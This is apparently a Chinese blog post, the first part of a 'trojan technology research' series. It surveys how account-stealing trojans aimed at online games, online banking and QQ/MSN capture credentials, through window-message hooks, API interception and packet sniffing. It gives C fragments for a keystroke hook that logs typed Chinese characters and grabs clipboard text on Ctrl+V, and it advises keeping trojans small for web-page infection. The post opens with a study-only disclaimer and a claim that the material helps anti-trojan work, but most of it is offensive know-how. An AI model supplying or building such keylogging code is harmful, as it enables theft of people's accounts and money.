木马技术研究第一部分

木马技术研究第一部分

申明：  本文涉及到的技术只供参考研究之用，不可用于非法行为，本人不负责。

A. 写在开始
自以为编写了几年的网络通信程序，对网络很熟悉，碰到个搞UNIX的朋友，才知道我对网络不精通。
自以为研究了系统几年，对系统很熟悉，碰到个一直写驱动的朋友，才知道不用说linux, 就连win32我也不懂。
自以为算法不错，碰到个写video,audio算法的家伙，才知道我只是菜鸟。

但我还是有我独到的地方，有我熟悉而别人极少熟悉的层面。
或许只是聊以自慰，或许只是愚弄世人。

B. 现状令人堪忧
目前中国的网络现状着实令人堪忧, 可能原因是：
盗版不是非法 导至广大用户需要软件就上网找. 从而导至网页里面各种插件感染脚本，流氓软件感染脚本, 泛滥成灾...

任何用户包括我自己，也不能肯定下载下来的软件，没有恶意代码。

木马盛行的今天，我们需要反木马，但不了解木马如何反木马？

C. 木马要求
1. 因为目前市场上木马多以网页形式感染，所以木马要求越小越好，
关于文件大小参考：
http://blog.csdn.net/davemin/archive/2006/09/26/1289795.aspx

1.1. 建议：尽量不要定义Class, Struct, 和变量，少定义涵数，多使用goto;

 

2. 木马类型及相关截获数据技术浅谈
网游类: 目前网游很盛行，以前做外挂的可能现在竞争激烈了，都转到截网游账号上来了.
 而且网游涉及到装备和虚拟币，所以做截网游账号的事也是很诱人的。
浏览器类: 像很有名的网银大盗之类的都属于这一类，同时截email账号之类的等等都是这一类。
应用程序类: 比如截QQ,msn账号等等属于这一类。

2.1. Hook文本数据
但是每一类都涉及到差不多相同的技术，对于文本可以使用SetWindowsHookEx, 截获TextOutA API等等技术。
相关技术参考：
<Windows 核心编程>
SetWindowsHookEx 技术相信大家也是熟悉的。

2.2. 网游类截获网络数据包
但是对于网游类, 因为网游类根本就没有用TextOutA来渲染文本，所以不能使用截获TextOutA API等等技术, 相反
可以使用截获网络数据包，分析数据包技术来做。
对于这一点，本人强烈建议网游公司，每一个星期更新客户端程序的时候，把加密算法改一下，这样木马就没用了。

但道高一尺魔高一仗，即使网游公司这样做，相信做木马的朋友还是会想办法来解决的。

2.3. GDI对象DC比对技术
可能这个技术是相当先进的，但是非常有用的，不过可能涉及到的对象和算法非常繁锁。
原理是：Copy 一个DC对象，使用SetWindowsHookEx后，在GetMsgProc事件里面进行对比。

2.4. Hook文本数据补充 - 中文截获

在GetMsgProc里面，很多人使用事件：WM_IME_COMPOSITION
我个人以为，使用WM_IME_COMPOSITION根本没有必要，而且WM_IME_COMPOSITION，和WM_CHAR事件同时存在。
当然如果是中文p->wParam > 127

本人以为可以直接在WM_CHAR事件里面处理, 相关代码参考：
PMSG p = (PMSG)lParam;

static TCHAR tcChinese[3] = "/0";  // 定义静态数组
if( tcChinese[1] == 0 )
 tcChinese[1] = (TCHAR)p->wParam; // 208 "中"
else
{
 tcChinese[0] = (TCHAR)p->wParam; // 214 "中"
 lstrcat( g_szText, tcChinese );  // 存到全局变量里面
 tcChinese[1] = 0;   // 设置为0, 可以重新取下一个中文
}
// ASSERT( g_szText = "中" );

2.5. Hook文本数据补充 - Ctrl + V处理
PMSG p = (PMSG)lParam;

if( p->wParam == 22 )
{
TCHAR tchar[64] = "/0";
if( OpenClipboard( NULL ) )
{
 HGLOBAL hData = GetClipboardData( CF_TEXT );
 if( hData )
 {
  LPCSTR lpcszData = (LPCSTR)GlobalLock(hData);
  GlobalUnlock( hData );
  lstrcpy( tchar, lpcszData );
 }
 CloseClipboard();
}
}

3. 木马的自启动
4. 木马安装脚本
请关注第二部分.

同时欢迎VC爱好者加入QQ群, VC技术群-2: 30734090